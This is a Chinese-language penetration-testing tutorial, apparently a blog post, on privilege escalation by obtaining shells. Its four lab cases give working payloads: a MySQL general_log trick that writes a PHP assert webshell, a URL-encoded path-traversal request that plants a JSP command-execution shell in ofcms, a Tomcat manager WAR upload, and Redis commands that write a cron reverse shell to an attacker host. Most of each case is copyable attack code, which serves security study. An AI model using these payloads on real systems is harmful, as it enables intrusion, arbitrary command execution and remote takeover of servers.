权限提升-获取&利用shell

简介: 获取&利用shell

shell 是什么?

我自己的理解shell 就是一个交互式的窗口/命令提示符 比如windows cmd linux bash之类的。
shell 又分为 webshell 和 系统shell。一般情况下 webshell 的权限 < 系统shell 的权限

学习到前面的web渗透之后,对网站的漏洞测试 和思路应该是掌握了,那么假如网站存在文件上传,传上之后应该怎么做呢?根据中间件判断,然后上传对应的一句话木马,使用菜刀 哥斯拉 蚁剑 冰蝎等工具进行连接。连接之后可以上传下载文件 也可以执行命令,一系列的操作就叫获取一个webshell。

接下来就需要了解并掌握以下知识点:

后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等
后台权限:SQL注入,数据库备份泄露,默认或弱口令等获取帐号密码进入
网站权限:后台提升至网站权限,RCE或文件操作类、反序列化等漏洞直达Shell
数据库权限:SQL注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入
接口权限:SQL注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入
系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等
域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等

那获取这些权限后,我能做那些事情呢?

后台权限:
常规WEB界面文章分类等操作,后台功能可操作类
网站权限:
查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配
置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。
数据库权限:
操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限
(webshell)进行的数据库配置文件读取获得。也可以作为提升系统权限手段。
接口权限:
后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文
件获取),具体可以操作的事情大家自己想想。
系统权限:如同在你自己操作自己的电脑一样
域控权限:如同在你自己操作自己的虚拟机一样

案例一  数据库后台权限getshell

通过爆破弱口令登录到后台

1. 查看数据库版本

2. 查看版本得知 数据库大于5.0  

查询导出的路径 没有权限

show variables like '%secure%'

3. 在查看日志状态 off没有开启 保存路径在 *@#*@*#@.log

发现 网站是phpstudy搭建 所以网站的路径在D:\phpstudy\www\ 下

show variables like '%general%'

640.png

4. 开启日志记录 并更改文件路径

set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/shell.php';

5. 执行sql语句后 就会把记录保存在shell.php 里

SELECT '<?php @assert($_REQUEST["123"]);?>';

6.使用菜刀连接

http://192.168.5.31/shell.php

密码: 123

640.png

640.png

案例二  CMS源码-ofcms后台getshll

使用IDEA搭建 java项目 首页如下

寻找后台地址 弱口令爆破 admin 123456 进入后台 找模板文件 发现是可以更改

640.png

burp抓包 构造

    payload file_path=&dirs=%2F&res_path=res&file_name=../../static/jsp_shell.
    jsp&file_content=%3C%25%0A+++
    +if(%22p0desta%22.equals(request.getParameter(%22pwd%22)))%7B%0A++
    ++++++java.io.InputStream+in+
    %3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getIn
    putStream()%3B%0A++++++++int+a+%3D+-1%3B%0A++++++++byte%5B%5D+b+
    %3D+new+byte%5B2048%5D%3B%0A+++++++
    +out.print(%22%3Cpre%3E%22)%3B%0A+++++++
    +while((a%3Din.read(b))!%3D-1)%7B%0A+++++++++++
    +out.println(new+String(b))%3B%0A++++++++%7D%0A+++++++
    +out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E

    访问指定shell 的url

      http://192.168.5.31:8080/ofcms_admin/static/shell.jsp?pwd=p0desta&i=ipconfig

      案例三  中间件Tomcat平台getshell

      vulhub 搭建tomcat8 漏洞平台

      cd vulhub/tomcat/tomcat8
      docker-compose up -d

      登录后台

        tomcat : tomcat
        http://10.0.0.60:8080/manager/html/list


        上传war 包  哥斯拉生成1.jsp 然后打包为 1.zip  然后更改后缀为 1.war

        访问路径 为 xxxx/1/1.jsp

        上传之后 就提示ok 然后还会多一个目录

        640.png

        哥斯拉连接

          http://10.0.0.60:8080/1/1.jsp

          640.png

          案例四  数据库漏洞利用redis获取权限

          连接远程数据库 如何判断是否成功 输入命令有结果就说明连接成功

            redis-cli -h 10.0.0.60 -p 6379

            redis 反弹shell 获取主机权限

            # 设置写入计划任务的路径
            config set dir /var/spool/cron/crontabs
            # 设置计划任务的名称
            config set dbfilenmae shell
            # 设置反弹内容
            set xx "\n\n\n* * * * * bash -i /dev/tcp/10.0.0.10/1234 0>&1\n\n\n"
            # 保存执行
            save

            攻击机器 开启监听

              nc -lvnp 1234


              相关文章
              |
              1月前
              |
              Linux Shell 开发工具
              Shell的运行原理以及Linux当中的权限问题
              Shell的运行原理以及Linux当中的权限问题
              35 0
              |
              6天前
              |
              Linux Shell 程序员
              【Linux】权限(shell运行原理、概念,Linux权限)
              【Linux】权限(shell运行原理、概念,Linux权限)
              14 2
              |
              22天前
              |
              存储 Shell 数据安全/隐私保护
              ZooKeeper【基础知识 04】控制权限ACL(原生的 Shell 命令)
              【4月更文挑战第11天】ZooKeeper【基础知识 04】控制权限ACL(原生的 Shell 命令)
              27 7
              |
              2月前
              |
              Shell Linux 开发工具
              shell的介绍以及Linux权限的讲解
              shell的介绍以及Linux权限的讲解
              34 2
              |
              2月前
              |
              Shell Linux C语言
              【Shell 命令集合 网络通讯 】Linux 设置终端机的写入权限 mesg 命令 使用指南
              【Shell 命令集合 网络通讯 】Linux 设置终端机的写入权限 mesg 命令 使用指南
              23 0
              |
              2月前
              |
              安全 Shell Linux
              【Shell 命令集合 文件管理】Linux 设置文件创建时的默认权限掩码 umask命令使用教程
              【Shell 命令集合 文件管理】Linux 设置文件创建时的默认权限掩码 umask命令使用教程
              32 0
              |
              3月前
              |
              Shell Linux 开发工具
              操作系统(Linux)外壳程序shell 、用户、权限
              操作系统(Linux)外壳程序shell 、用户、权限
              |
              5月前
              |
              Unix Shell Linux
              shell执行权限
              shell执行权限
              147 2
              |
              5月前
              |
              安全 Unix Shell
              shell脚本文件的权限和执行
              shell脚本文件的权限和执行
              257 1
              |
              5月前
              |
              存储 Shell 数据安全/隐私保护
              ZooKeeper【基础 04】控制权限ACL(原生的 Shell 命令)
              ZooKeeper【基础 04】控制权限ACL(原生的 Shell 命令)
              37 0